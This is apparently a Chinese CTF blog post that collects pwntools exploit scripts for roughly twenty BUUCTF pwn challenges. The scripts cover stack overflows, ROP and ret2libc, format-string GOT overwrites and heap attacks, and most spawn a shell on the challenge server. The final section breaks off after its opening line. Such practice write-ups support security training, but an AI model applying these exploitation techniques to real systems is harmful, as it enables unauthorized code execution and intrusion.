avatar
文章
172
标签
51
分类
29
首页
归档
标签
分类
友链
关于
额外功能
咲夜南梦's 博客
首页
归档
标签
分类
友链
关于
额外功能
CTF-BUUCTF-Pwn刷题之旅-(1)
|CTF
阅读量:|评论数:

0x01 warmup_csaw_2016

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
context.log_level = "debug"
context.arch = "amd64"
elf = ELF("warmup_csaw_2016")
sh = 0
lib = 0
def pwn(ip,port,debug):
	global sh
	global lib
	if(debug == 1):
		sh = process("./warmup_csaw_2016")

	else:
		sh = remote(ip,port)

	sh.recvuntil(">")
	pop_rdi_ret = 0x0000000000400713
	payload = "a" * 72 + p64(0x0000000000400611)
	sh.sendline(payload)
	sh.interactive()
if __name__ == "__main__":
	pwn("buuoj.cn",20035,0)

0x02 RIP覆盖一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
sh=0
def connect(debug):
	global sh
	if(debug == 1):
		sh = process("./pwn1")		
	else:
		sh = remote("buuoj.cn",6001)
def pwn():
	offset = 23
	payload = offset*"a" + p64(0x000000000040118A)
	sh.sendline(payload)
	sh.interactive()
if __name__ == "__main__":
	connect(0)
	pwn()

0x03 babyfengshui_33c3_2016

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
from pwn import *
context.log_level = "debug"
sh = 0
elf = ELF("babyfengshui")
libc = ELF("x86_libc.so.6")
def add(name_size,name,text_size,text):
	sh.recvuntil("Action: ")
	sh.sendline("0")
	sh.recvuntil("size of description: ")
	sh.sendline(str(name_size))
	sh.recvuntil("name: ")
	sh.sendline(name)
	sh.recvuntil("text length: ")
	sh.sendline(str(text_size))
	sh.recvuntil("text:")
	sh.sendline(text)
def show(idx):
	sh.recvuntil("Action: ")
	sh.sendline("2")
	sh.recvuntil("index: ")
	sh.sendline(str(idx))
def edit(idx,text,size):
	sh.recvuntil("Action: ")
	sh.sendline("3")
	sh.recvuntil("index: ")
	sh.sendline(str(idx))
	sh.recvuntil("text length: ")
	sh.sendline(str(size))
	sh.recvuntil("text: ")
	sh.sendline(text)
def delete(idx):
	sh.recvuntil("Action: ")
	sh.sendline("1")
	sh.recvuntil("index: ")
	sh.sendline(str(idx))
def connect(debug):
	global sh
	if(debug != 0):
		sh = process("./babyfengshui")
	else:
		sh = remote("buuoj.cn",20002)
def pwn():	
	offset = 0x98b1130 - 0x98b1008
	add(0x80,'\x11\n',0x80,'\x12\n')
	add(0x10,'\x13\n',0x10,"\x14\n")
	add(0x10,'\x15\x15',0x10,'\x16\x16')
	add(0x10,'/bin/sh\x00',0x10,"/bin/sh\x00")
	delete(0)
	#gdb.attach(sh.pid)
	add(0x100,'\x17\n',0x200,0x128 * 'a' + p32(elf.got['free']))
	show(1)
	sh.recvuntil("description: ")
	libc_base = u32(sh.recv(4)) - libc.symbols['free']
	system_addr = libc.symbols['system'] + libc_base
	edit(1,p32(system_addr),0x4)
	delete(3)
	log.success("libc: " + hex(libc_base))
	log.success("system_addr:" + hex(system_addr))
	#log.success("PID: " + str(sh.pid))
	sh.interactive()

if "__main__" == __name__:
	connect(0)
	pwn()

0x04 babyheap_0ctf_2017

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
from pwn import *
context.log_level = "debug"
sh = 0
elf = ELF("babyheap_0ctf_2017")
libc = ELF("x64_libc.so.6")
#libc = ELF("libc-2.23.so")
def add(size):
	sh.recvuntil("Command: ")
	sh.sendline("1")
	sh.recvuntil("Size: ")
	sh.sendline(str(size))
def edit(idx,size,content):
	sh.recvuntil("Command: ")
	sh.sendline("2")
	sh.recvuntil("Index: ")
	sh.sendline(str(idx))
	sh.recvuntil("Size: ")
	sh.sendline(str(size))
	sh.recvuntil("Content: ")
	sh.send(content)
def delete(idx):
	sh.recvuntil("Command: ")
	sh.sendline("3")
	sh.sendline(str(idx))
def dump(idx):
	sh.recvuntil("Command: ")
	sh.sendline("4")
	sh.recvuntil("Index: ")
	sh.sendline(str(idx))
def connect(debug):
	global sh
	if(debug == 0):
		sh = remote("buuoj.cn", 20001)
	else:
		sh = process("./babyheap_0ctf_2017")	
def pwn():
	add(0x10)
	add(0x10)
	add(0x10)
	add(0x10)
	add(0x80)
	delete(1)
	delete(2)
	payload = p64(0)*3 + p64(0x21) + p64(0)*3 + p64(0x21) + p8(0x80)
	edit(0,len(payload),payload)
	payload = p64(0)*3 + p64(0x21)
	edit(3,len(payload),payload)
	add(0x10)
	add(0x10)
	payload = p64(0)*3 + p64(0x91)
	edit(3,len(payload),payload)
	add(0x80)
	delete(4)
	dump(2)
	sh.recvuntil("Content: \n")
	libc_base = u64(sh.recv(8)) - 0x3C4B78
	malloc_hook = libc_base + libc.symbols['__malloc_hook']
	log.success("libc_base: " + hex(libc_base))
	log.success("__malloc_hook: " + hex(malloc_hook))
	add(0x60)
	delete(4)
	payload = p64(malloc_hook - 35)
	edit(2,len(payload),payload)
	add(0x60)
	add(0x60)
	one_gadget = 0x4526a
	payload = p8(0) * 3 + p64(0) * 2 + p64(libc_base + one_gadget)
	edit(6,len(payload),payload)
	#gdb.attach(sh.pid)
	add(50)
	sh.interactive()
if __name__ == "__main__":
	connect(0)
	pwn()

0x05 get_started_3dsctf_2016

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
context.arch = "i386"
context.log_level = "debug"
#sh = process("./get_started_3dsctf_2016")
sh = remote("buuoj.cn",20004)
elf = ELF("get_started_3dsctf_2016")
pop2_ret = 0x0809a7dc
pop3_ret = 0x0804f460
payload = 'a' * 56 + p32(elf.symbols['mprotect']) + p32(pop3_ret) + p32(0x080EB000) + p32(0x3000) + p32(7) + p32(elf.symbols['read']) + p32(pop3_ret) + p32(0) + p32(0x080EBF80) + p32(0x200) + p32(0x080EBF80)
sh.sendline(payload)
#sleep(1)
#input()
sh.sendline(asm(shellcraft.sh()))
sh.interactive()

0x06 not_the_same_3dsctf_2016

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *
context.log_level = "debug"
context.arch = "i386"
elf = ELF("not_the_same_3dsctf_2016")
sh = 0
lib = 0
def pwn(ip,port,debug):
	global sh
	global lib
	if(debug == 1):
		sh = process("./not_the_same_3dsctf_2016")

	else:
		sh = remote(ip,port)
	pop3_ret = 0x0809e3e5
	#sh.recvuntil("b0r4 v3r s3 7u 4h o b1ch4o m3m0... ")
	offset = 45
	payload = offset * "a"
	payload += p32(elf.symbols['mprotect']) + p32(pop3_ret)
	payload += p32(0x080EB000) + p32(0x1000) + p32(7)
	payload += p32(elf.symbols['read']) + p32(pop3_ret)
	payload += p32(0) + p32(0x080EBF81) + p32(0x100) + p32(0x080EBF81)
	sh.sendline(payload)
	payload = asm(shellcraft.sh())
	sleep(1)
	sh.sendline(payload)
	sh.interactive()
if __name__ == "__main__":
	pwn("buuoj.cn",20007,0)

0x07 bugbug_codegate_2016

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
from pwn import *
context.log_level = "debug"
context.arch = "i386"
elf = ELF("bugbug_codegate_2016")
sh = 0
lib = 0
rand = 0
randNum = []
def getRand(seed):
	global randNum
	randNum = []
	global rand
	rand.sendline(str(seed))
	for i in range(0,6):
		randNum.append(int(rand.recvuntil("\n",True),10))
def pwn(ip,port,debug):
	global sh
	global lib
	global rand
	if(debug == 1):
		sh = process("./bugbug_codegate_2016")
		lib = ELF("/lib/i386-linux-gnu/libc-2.23.so")
	else:
		sh = remote(ip,port)
		lib = ELF("x86_libc.so.6")
	#one step. make exit_got->start.finish loop
	payload = p32(elf.got['exit']) + "%." + str(0x8580 - 3) + "d%17$hn"
	size = len(payload)
	payload = payload.ljust(0x64,"a")
	sh.recv()
	sh.send(payload)
	sh.recvuntil(payload)
	ptr = u32(sh.recv(4))
	stream = u32(sh.recv(4))
	rand = process("./rand")
	getRand(ptr)
	sh.sendline(str(randNum[0]) + " "
		+str(randNum[1]) + " "
		+str(randNum[2]) + " "
		+str(randNum[3]) + " "
		+str(randNum[4]) + " "
		+str(randNum[5]))
	log.success("1 ptr = " + hex(ptr))
	rand.close()
	#two step. libc leak
	sh.recvuntil("Who are you? ")
	payload = p32(elf.got['__libc_start_main']) + "%17$s"
	size = len(payload)
	payload = payload.ljust(0x64,"a")
	sh.send(payload)
	sh.recvuntil(payload)
	ptr = u32(sh.recv(4))
	stream = u32(sh.recv(4))
	rand = process("./rand")
	getRand(ptr)
	sh.sendline(str(randNum[0]) + " "
		+str(randNum[1]) + " "
		+str(randNum[2]) + " "
		+str(randNum[3]) + " "
		+str(randNum[4]) + " "
		+str(randNum[5]))
	rand.close()
	sh.recvuntil("Congratulation, ")
	sh.recv(4)
	__libc_start_main = u32(sh.recv(4))
	libc = __libc_start_main - lib.symbols['__libc_start_main']
	puts = libc + lib.symbols['puts']
	system = libc + lib.symbols['system']
	printf = libc + lib.symbols['printf']
	one_gadget = libc + 0x5f066
	one_gadget1 = one_gadget >> 16
	one_gadget2 = one_gadget % (0x10000)
	log.success("2 ptr = " + hex(ptr))
	log.success("libc = " + hex(libc))
	log.success("puts = " + hex(puts))
	log.success("system = " + hex(system))
	log.success("printf = " + hex(printf))
	log.success("one_gadget = " + hex(one_gadget))
	log.success("__libc_start_main = " + hex(__libc_start_main))
	#modify exit_got to one_gadget
	#bp printf 0x08048960
	#exit_got 0x0804A024
	sh.recvuntil("Who are you? ")
	payload  = p32(elf.got['exit']) + p32(elf.got['exit'] + 2)
	payload += "%" + str(one_gadget2 - 8) + "d" + "%17$hn%" + str(one_gadget1 - one_gadget2) + "d%18$hn"
	size = len(payload)
	payload = payload.ljust(0x64,"a")
	sh.send(payload)
	sh.recvuntil(payload)
	ptr = u32(sh.recv(4))
	stream = u32(sh.recv(4))
	rand = process("./rand")
	getRand(ptr)
	#input()
	sh.sendline(str(randNum[0]) + " "
		+str(randNum[1]) + " "
		+str(randNum[2]) + " "
		+str(randNum[3]) + " "
		+str(randNum[4]) + " "
		+str(randNum[5]))
	rand.close()
	sh.recvuntil("Congratulation, ")
	sh.interactive()
if __name__ == "__main__":
	pwn("buuoj.cn",20027,0)

另外附上随机数生成器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
int main(){
	unsigned int seed = 0;
	scanf("%u",&seed);
	srand(seed);
	int i = 0;
	int j = 0;
	int tmp;
	int v4[6] = {0,0,0,0,0,0};
	for ( i = 0; i <= 5; ++i ){
		tmp = rand() % 45 + 1;
		LABEL_6:
		for ( j = 0; i - 1 >= j; ++j ){
			if ( v4[j] == tmp )
				goto LABEL_6;
		}
		v4[i] = tmp;
	}
	for( i = 0; i<=5 ;++i){
		printf("%d\n",v4[i]);
	}
	return 0;
}

0x08 ez_pz_hackover_2016

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
context.log_level = "debug"
context.arch = "i386"
elf = ELF("ez_pz_hackover_2016")
sh = 0
lib = 0
def pwn(ip,port,debug):
	global sh
	global lib
	if(debug == 1):
		sh = process("./ez_pz_hackover_2016")

	else:
		sh = remote(ip,port)
	sh.recvuntil("Yippie, lets crash: 0x")
	str_addr = int(sh.recvuntil("\n",True),16)
	offset = 16
	payload  = "crashme\x00"
	payload  = payload.ljust(10,"\x00")
	payload += offset * "a"
	payload += p32(str_addr + len(payload) + 4 - 0x3a) + asm(shellcraft.sh())
	sh.sendline(payload)

	sh.interactive()
if __name__ == "__main__":
	pwn("buuoj.cn",20040,0)

0x09 tiny_backdoor_v1_hackover_2016

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
context.log_level = "debug"
context.arch = "amd64"
elf = ELF("tiny_backdoor_v1_hackover_2016")
sh = 0
lib = 0
def pwn(ip,port,debug):
	global sh
	global lib
	if(debug == 1):
		sh = process("./tiny_backdoor_v1_hackover_2016")

	else:
		sh = remote(ip,port)

	#payload = "a"*0x9
	key = 'e6d9f6382a02fd3ac3'.decode('hex')
	sh.send(key)
	sh.interactive()
if __name__ == "__main__":
	pwn("buuoj.cn",20050,0)

0x10 bbys_tu_2016

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
context.log_level = "debug"
context.arch = "i386"
elf = ELF("bbys_tu_2016")
sh = 0
lib = 0
def pwn(ip,port,debug):
	global sh
	global lib
	if(debug == 1):
		sh = process("./bbys_tu_2016")

	else:
		sh = remote(ip,port)

	offset = 24
	payload  = offset * "a"
	payload += p32(0x0804856D)
	sh.sendline(payload)
	sh.interactive()
if __name__ == "__main__":
	pwn("buuoj.cn",20060,0)

0x11 oneshot_tjctf_2016

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *
context.log_level = "debug"
context.arch = "amd64"
elf = ELF("oneshot_tjctf_2016")
sh = 0
lib = 0
def pwn(ip,port,debug):
	global sh
	global lib
	if(debug == 1):
		sh = process("./oneshot_tjctf_2016")
		lib = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
	else:
		sh = remote(ip,port)
		lib = ELF("x64_libc.so.6")
	sh.recvuntil("Read location?\n")
	sh.sendline(str(elf.got['__libc_start_main']))
	sh.recvuntil("Value: 0x0000")
	__libc_start_main = int(sh.recvuntil("\n",True),16)
	libc = __libc_start_main - lib.symbols['__libc_start_main']
	one_gadget = libc + 0xf1147
	sh.sendline(str(one_gadget))
	log.success("__libc_start_main: " + hex(__libc_start_main))
	log.success("libc: " + hex(libc))
	log.success("one_gadget: " + hex(one_gadget))
	sh.interactive()
if __name__ == "__main__":
	pwn("buuoj.cn",20082,0)

0x12 pwn1_sctf_2016

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
context.log_level = "debug"
context.arch = "i386"
elf = ELF("pwn1_sctf_2016")
sh = 0
lib = 0
def pwn(ip,port,debug):
	global sh
	global lib
	if(debug == 1):
		sh = process("./pwn1_sctf_2016")

	else:
		sh = remote(ip,port)

	payload = "I" * 19 + "a" * 7 + p32(0x08048F0D)
	sh.sendline(payload)
	sh.interactive()
if __name__ == "__main__":
	pwn("buuoj.cn",20086,0)

0x13 pwn2_sctf_2016

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from pwn import *
context.log_level = "debug"
context.arch = "i386"
elf = ELF("pwn2_sctf_2016")
sh = 0
lib = 0
def pwn(ip,port,debug):
	global sh
	global lib
	if(debug == 1):
		sh = process("./pwn2_sctf_2016")
		lib = ELF("libc-2.23.so")
	else:
		sh = remote(ip,port)
		lib = ELF("x86_libc.so.6")
	sh.recv()
	sh.sendline("-1")
	offset = 48
	start_addr = 0x080483D0
	payload = offset * "a"
	payload += p32(elf.plt['printf'])
	payload += p32(start_addr)
	payload += p32(0x080486F8)
	payload += p32(elf.got['__libc_start_main'])
	sh.recv()
	sh.sendline(flat(payload))
	sh.recvuntil("You said: ")
	sh.recvuntil("You said: ")
	__libc_start_main = u32(sh.recv(4))
	libc = __libc_start_main - lib.symbols['__libc_start_main']
	system_addr = libc + lib.symbols['system']
	binsh = libc + lib.search("/bin/sh\x00").next()
	sh.sendline("-1")
	payload = offset * "a"
	payload += p32(system_addr)
	payload += p32(0x080486F8)
	payload += p32(binsh)
	sh.sendline(payload)
	log.success("libc:" + hex(libc))
	log.success("system_addr:" + hex(system_addr))
	log.success("binsh:" + hex(binsh))
	sh.interactive()
if __name__ == "__main__":
	pwn("buuoj.cn",20087,0)

0x14 ciscn_2019_c_1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *
context.log_level = "debug"
context.arch = "amd64"
elf = ELF("ciscn_2019_c_1")
sh = 0
lib = 0
def pwn(ip,port,debug):
	global sh
	global lib
	if(debug == 1):
		sh = process("./ciscn_2019_c_1")
		lib = ELF("/lib/x86_64-linux-gnu/libc.so.6")
	else:
		sh = remote(ip,port)
		lib = ELF("/home/pig/Pig/CTF/BUUCTF/BUUCTF_libc/x64_libc.so.6")
	sh.recvuntil("Input your choice!")
	pop3_ret = 0x0000000000400c7f
	pop_rdi_ret = 0x0000000000400c83
	pop_rsi_r15_ret = 0x0000000000400c81
	payload  = '\x00' * (0x50 + 0x8)
	payload += p64(pop_rdi_ret) + p64(elf.got['__libc_start_main']) + p64(elf.plt['puts']) + p64(elf.symbols['main'])
	sh.sendline("1")
	sh.recvuntil("Input your Plaintext to be encrypted\n")
	sh.sendline(payload)
	sh.recvuntil("Ciphertext\n\n")
	libc = u64(sh.recvuntil("\n",True).ljust(8,"\x00")) - lib.symbols['__libc_start_main']
	system = libc + lib.symbols['system']
	binsh = libc+ lib.search("/bin/sh\x00").next()
	sh.sendline("1")
	sh.recvuntil("Input your Plaintext to be encrypted\n")
	payload  = "\x00" * (0x50 + 0x8)
	payload += p64(pop_rdi_ret) + p64(binsh) + p64(system)
	sh.sendline(payload)
	log.success("libc: " + hex(libc))
	log.success("binsh: " + hex(binsh))
	log.success("system: " + hex(system))
	sh.interactive()
if __name__ == "__main__":
	pwn("buuoj.cn",20115,0)

0x15 ciscn_2019_n_1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
from time import *
context.log_level = "debug"
context.arch = "amd64"
elf = ELF("ciscn_2019_n_1")
sh = 0
lib = 0
def pwn(ip,port,debug):
	global sh
	global lib
	if(debug == 1):
		sh = process("./ciscn_2019_n_1")

	else:
		sh = remote(ip,port)
	pop_rdi_ret = 0x400793
	offset = 56
	payload  = offset * "a"
	payload += p64(pop_rdi_ret) + p64(elf.bss()) + p64(elf.plt['gets'])
	payload += p64(pop_rdi_ret) + p64(elf.bss()) + p64(elf.plt['system'])
	sh.sendline(payload)
	sleep(0.2)
	sh.sendline("/bin/sh\x00")
	sh.interactive()
if __name__ == "__main__":
	pwn("buuoj.cn",20137,0)

0x16 ciscn_2019_n_8

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
context.log_level = "debug"
context.arch = "i386"
elf = ELF("ciscn_2019_n_8")
sh = 0
lib = 0
def pwn(ip,port,debug):
	global sh
	global lib
	if(debug == 1):
		sh = process("./ciscn_2019_n_8")

	else:
		sh = remote(ip,port)
	sh.recv()
	payload = "\x11" * 0x35
	sh.sendline(payload)
	sh.interactive()
if __name__ == "__main__":
	pwn("buuoj.cn",20144,0)

0x17 ciscn_2019_sw_7

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
from pwn import *
context.log_level = "debug"
context.arch = "amd64"
elf = ELF("ciscn_2019_sw_7")
sh = 0
lib = 0
def add(size,content):
	sh.recvuntil(">")
	sh.sendline("1")
	sh.recvuntil("The size of note:")
	sh.sendline(str(size))
	sh.recvuntil("The content of note:")
	sh.send(content)
def show(idx):
	sh.recvuntil(">")
	sh.sendline("2")
	sh.recvuntil("Index:")
	sh.sendline(str(idx))
def free(idx):
	sh.recvuntil(">")
	sh.sendline("4")
	sh.recvuntil("Index:")
	sh.sendline(str(idx))
def add_str(size,content):
        sh.recvuntil(">")
        sh.sendline("1")
        sh.recvuntil("The size of note:")
        sh.sendline(size)
        sh.recvuntil("The content of note:")
        sh.send(content)
def pwn(ip,port,debug):
	global sh
	global lib
	if(debug == 1):
		sh = process("./ciscn_2019_sw_7")
		lib = ELF("/lib/x86_64-linux-gnu/libc.so.6")
		main_arena_offset = 0x7fc161d75b20 - 0x7fc1619b1000
	else:
		sh = remote(ip,port)
		lib = ELF("/home/pig/Pig/CTF/BUUCTF/BUUCTF_libc/x64_libc.so.6")
		main_arena_offset = 0x3C4B20
	add(0x10,"\x11" * 0xF + "\n")
	add(0x10,"\x22" * 0xF + "\n")
	add(0x60,"\x33" * 0xF + "\n")
	add(0x60,"\x77" * 0x5F + "\n")
	add(0x10,"\x44" * 0xF + "\n")
	free(0)
	payload  = p64(0) * 2
	payload += p64(0x91) + p64(0x10) + p64(0) * 2 + p64(0x71) + p64(0x60)
	add_str("-1",payload + "\n")
	free(1)
	add(0x10,"\x55" * 0xF + "\n")
	show(2)
	sh.recvuntil("2 : ")
	main_arena = u64(sh.recvuntil("\x7f").ljust(8,"\x00")) - 88
	libc = main_arena - main_arena_offset
	system = libc + lib.symbols['system']
	__free_hook = libc + 0x3C67A8
	free(0)
	payload = p64(0) * 2 + p64(0x21) + p64(0x10) + p64(0) * 2 + p64(0x71) + p64(main_arena + 88) + p64(__free_hook - 0x40) + "\n"
	add_str("-1",payload)
	add(0x60,"\x66" * 0x5F + "\n")
	free(0)
	free(3)
	payload  = p64(0)*2 + p64(0x21) + p64(0x10) + p64(0)*2 + p64(0x71) + p64(0x60) + p64(0) * 12 + p64(0x71) + p64(__free_hook - 0x33)
	payload += p64(0) * 12 + p64(0x21) + "/bin/sh\x00\n"
	add_str("-1",payload)
	add(0x60,"aaaa\n")
	payload = '\x7f\x00\x00' + p64(0) * 3 + p64(system) + "\n"
	add(0x60,payload)
	log.success("libc: " + hex(libc))
	log.success("main_arena: " + hex(main_arena))
	log.success("__free_hook: " + hex(__free_hook))
	log.success("system: " + hex(system))
	#input()
	free(4)
	#gdb.attach(sh)
	#x/50gx (long long)(&main_arena)
	#x/50gx (long long)(&__free_hook) - 0x50
	sh.interactive()
if __name__ == "__main__":
	pwn("buuoj.cn",20134,0)

0x18 espcially_tu_2016

解法一:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import *
context.log_level = "debug"
context.arch = "i386"
elf = ELF("espcially_tu_2016")
sh = 0
lib = 0
def pwn(ip,port,debug):
	global sh
	global lib
	if(debug == 1):
		sh = process("./espcially_tu_2016")
		lib = ELF("/lib/i386-linux-gnu/libc.so.6")
	else:
		sh = remote(ip,port)
		lib = ELF("/home/pig/Pig/CTF/BUUCTF/BUUCTF_libc/x86_libc.so.6")
	pop_ebp_ret = 0x0804864f
	pop_ebx_esi_edi_ebp_ret = 0x0804864C
	pop3_ret = 0x0804864d
	gets_plt = 0x080483D0
	offset = 44
	payload  = offset * "a"
	payload += p32(elf.plt['puts']) + p32(pop_ebp_ret) + p32(elf.got['__libc_start_main'])
	payload += p32(gets_plt) + p32(pop_ebp_ret) + p32(elf.got["printf"])
	payload += p32(gets_plt) + p32(pop_ebp_ret) + p32(elf.got['printf'])
	payload += p32(gets_plt) + p32(pop_ebp_ret) + p32(elf.bss())
	payload += p32(elf.plt['printf']) + p32(0xdeadbeef) + p32(elf.bss())
	sh.sendline(payload)
	sh.recv()
	sh.sendline("1")
	sh.recvuntil("number!\n")
	__libc_start_main = u32(sh.recv(4))
	libc = __libc_start_main - lib.symbols['__libc_start_main']
	system = libc + lib.symbols['system']
	binsh = libc + lib.search("/bin/sh\x00").next()
	sleep(0.2)
	sh.sendline(p32(system))
	sleep(0.2)
	sh.sendline("/bin/sh\x00")
	payload  = offset * "a"
	payload += p32(system) + p32(0xdeadbeef) + p32(binsh)
	#sh.sendline(payload)
	#sh.recv()
	#sh.sendline("1")
	log.success("system: " + hex(system))
	log.success("binsh: " + hex(binsh))
	log.success("__libc_start_main: " + hex(__libc_start_main))
	sh.interactive()
if __name__ == "__main__":
	pwn("buuoj.cn",20071,1)

解法二:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from roputils import *
from time import *
from pwn import process
from pwn import gdb
from pwn import context
from pwn import remote
#r = process('./espcially_tu_2016')
r = remote("buuoj.cn",20071)
context.log_level = 'debug'

rop = ROP('./espcially_tu_2016')
offset = 44
bss_base = rop.section('.bss') + 0x800
buf = rop.fill(offset)

buf += rop.call('gets', bss_base)
buf += rop.call('gets', bss_base)
# used to call dl_Resolve()
buf += rop.dl_resolve_call(bss_base + 20, bss_base)
r.sendline(buf)
sleep(0.2)
r.sendline("1")
buf = rop.string('/bin/sh')
buf += rop.fill(20, buf)
# used to make faking data, such relocation, Symbol, Str
buf += rop.dl_resolve_data(bss_base + 20, 'system')
buf += rop.fill(100, buf)
sleep(0.2)
r.sendline(buf)
r.interactive()

0x19 ciscn_2019_en_2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#!/usr/bin/python2.7  
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = "debug"
context.arch = "amd64"
elf = ELF("ciscn_2019_en_2")
sh = 0
lib = 0
def pwn(ip,port,debug):
	global sh
	global lib
	if(debug == 1):
		sh = process("./ciscn_2019_en_2")
		lib = ELF("/lib/x86_64-linux-gnu/libc.so.6")
	else:
		sh = remote(ip,port)
		lib = ELF("/home/pig/Pig/CTF/BUUCTF/BUUCTF_libc/x64_libc.so.6")
	sh.recvuntil("Input your choice!")
	sh.sendline("1")
	sh.recvuntil("Input your Plaintext to be encrypted")
	payload  = "a\x00"
	offset = 88
	pop_rdi_ret = 0x400c83
	payload  = "a" * offset
	payload += p64(pop_rdi_ret) + p64(elf.got['__libc_start_main']) + p64(elf.plt['puts'])
	payload += p64(elf.symbols['_start'])
	sh.recv()
	sh.sendline(payload)
	libc = u64(sh.recvuntil("\x7f\x0a",)[-7:].ljust(8,"\x00")) % 0x1000000000000 - lib.symbols['__libc_start_main']
	system = libc + lib.symbols['system']
	binsh = libc + lib.search("/bin/sh\x00").next()
	
        sh.recvuntil("Input your choice!")
        sh.sendline("1")
        sh.recvuntil("Input your Plaintext to be encrypted")
        payload  = "a\x00"
        offset = 88
        payload  = "a" * offset
        payload += p64(pop_rdi_ret) + p64(binsh) + p64(system)
        sh.sendline(payload)	
	log.success("libc: " + hex(libc))
	log.success("system: " + hex(system))
	log.success("binsh: " + hex(binsh))
	sh.interactive()
if __name__ == "__main__":
	pwn("buuoj.cn",20123,0)

0x20 ciscn_s_4

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import *
context.log_level = "debug"
sh = 0
elf = ELF("ciscn_s_4")
lib = ELF("/home/pig/Pig/CTF/BUUCTF/BUUCTF_libc/x86_libc.so.6")
#nc 172.29.9.107 9999 

def pwn(ip,port,debug):
	if(debug == 1):
		sh = process("./ciscn_s_4")
	else:
		sh = remote(ip,port)
	pop3_ret = 0x08048699
	pop2_ret = 0x0804869a
	offset = 44
	main_addr = 0x080485FF
	payload = (offset-12) * 'a' + p32(0x0804A01C) + "2"*4 + "3"*4+ p32(main_addr)
	sh.send(payload)
	sh.recvuntil("Hello, ")
	sh.send(payload)
	sh.recvuntil("Hello, ")
	payload = (offset-0x10) * "b"+"5"*4 +p32(0x0804A01C)+"7"*4+"8"*4 +p32(0x0804861D)
	sh.send(payload)
	sh.recvuntil(payload)
	sh.send(payload)
	sh.recvuntil(payload)
	sh.recv(33-4-4)
	libc = u32(sh.recv(4)) - lib.symbols["__libc_start_main"]
	log.success("libc :" + hex(libc))
	system = 0x08048559
	binsh = libc + next(lib.search("/bin/sh"))
	log.success("binsh :"+hex(binsh))
	log.success("system :"+hex(libc + lib.symbols['system']))
	#input()
	payload = (offset)*"a" + p32(0x08048450)
	sh.send(payload)
	payload = (offset-12) * 'a' + p32(binsh) + "2"*4 + "3"*4+ p32(main_addr)
	sh.send(payload)
	sh.recvuntil("Hello, ")
	sh.send(payload)
	sh.recvuntil("Hello, ")
	payload = (offset-0x10) * "b"+"5"*4 +p32(binsh)+"7"*4+"8"*4 +p32(system)
	sh.send(payload)
	#sh.recvuntil("Hello, ")
	sh.interactive()
if __name__ == "__main__":
	pwn("buuoj.cn",20155,0)

0x21 ciscn_2019_n_3

1、利用unsorted bin attack知道libc地址

2、存在UAF漏洞，然后利用fastbin attack，实现堆块重叠，且通过利用unsorted bin在fd、bk不够放置时，一次性将剩余堆块全部申请回来的特性，使得可以填充进system地址和sh字符串

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
#!/usr/bin/python2.7  
